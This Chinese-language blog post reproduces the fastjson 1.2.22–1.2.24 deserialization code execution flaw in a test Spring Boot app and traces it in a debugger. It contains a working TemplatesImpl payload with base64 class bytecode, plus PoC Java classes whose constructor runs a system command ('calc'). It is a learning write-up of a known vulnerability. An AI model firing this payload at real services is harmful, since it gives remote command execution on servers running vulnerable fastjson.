fastjson1.2.22-1.2.24 反序列化命令执行实践测试

首先创建一个spring boot的项目

pom.xml因为fastjson 依赖

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.22</version>
        </dependency>

  user entity

public class User {
    private String username;

    public void setUsername(String username) {
        this.username = username;
    }

    public String getUsername() {
        return username;
    }
}

 

正常反序列化时这样的:

String text="{\"@type\":\"com.example.fastjsonrce.entity.User\",\"username\":\"xiaochuan\"}";
Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
User myUser=(User)obj1;
return myUser.getUsername();

  

 当payload换成:

String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MY2MvbW9jbi9tYWxsL2NvbW1vbi91dGlsL1BvYzsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACWhhRm5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACFBvYy5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAHGNjL21vY24vbWFsbC9jb21tb24vdXRpbC9Qb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADQAEAA4ADQAPAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAGAAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";

  即可触发命令执行

 

 

测试发现代码中

Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);

参考这位大佬的分析文章,跟进调试一遍。

首先poc的内容

package ka1n4t.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public evilClass1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) throws IOException {
        evilClass1 helloworld = new evilClass1();
    }
}

  

package ka1n4t.poc;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class vulApp1 {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
        String evil_code = readClass(evil_path);

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        bad_method();
    }

}

  

分析poc是在反序列化过程时,反序列化的TemplatesImpl类,其中_bytecodes是关键的代码,其值是base64后的evilClass1.class字节流,我的理解是在反序列化过程时,_bytecodes中的内容被实例化,从而执行了构造函数中的命令执行。如果不对的话,还请大神指正,十分感谢

接下里尝试调试

首先漏洞触发在fastjson的FieldDeserializer类中。

 

 

通过java的反射机制,实际执行的是

public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

这是java官方类库,所以Force Step Into 强制进入,之后Step Over (F8),一步步之后操作。

先进入invoke

 

然后进入TemplatesImpl.getOutputProperties(),注意在该函数下打个断点

 

 

 进入这个函数可以看到调用了newTransformer(),它应该会返回一个实例,是官方内部函数,(Force Step Into):Alt + Shift + F7进去看看

 

 可以看到的是其返回一个transformer实例,在实例化时调用了getTransletInstance函数。(Force Step Into):Alt + Shift + F7进去看看

 

 

这里可以看到运行了一个defineTransletClasses()返回给_class

主要来看defineTransletClasses()是如何创建出poc中的恶意类的。

首先是实例化了一个TransletClassLoader 类型的loader

 

 这是TemplatesImpl下的TransletClassLoader类,等等再分析

 

 

可以看到在经过_class[i] = loader.defineClass(_bytecodes[i]);后,_class[i]还原成功了class cc.mocn.mall.common.util.Poc,

回到getTransletInstance函数,经过defineTransletClasses()后,_class中已经有了我们的恶意类

 

 

最后通过newInstance()实例化,从而执行构造函数中的命令执行。

回头看看TransletClassLoader

 

 可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0]

 

 所以最后就是_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload

 

 

以上是根据大神们的分析思路,加入了一些自己的理解,如果有不正确的地方,还请指正,十分感谢

posted @ 2021-01-19 13:37  妇愁者纞萌  阅读(388)  评论(0编辑  收藏  举报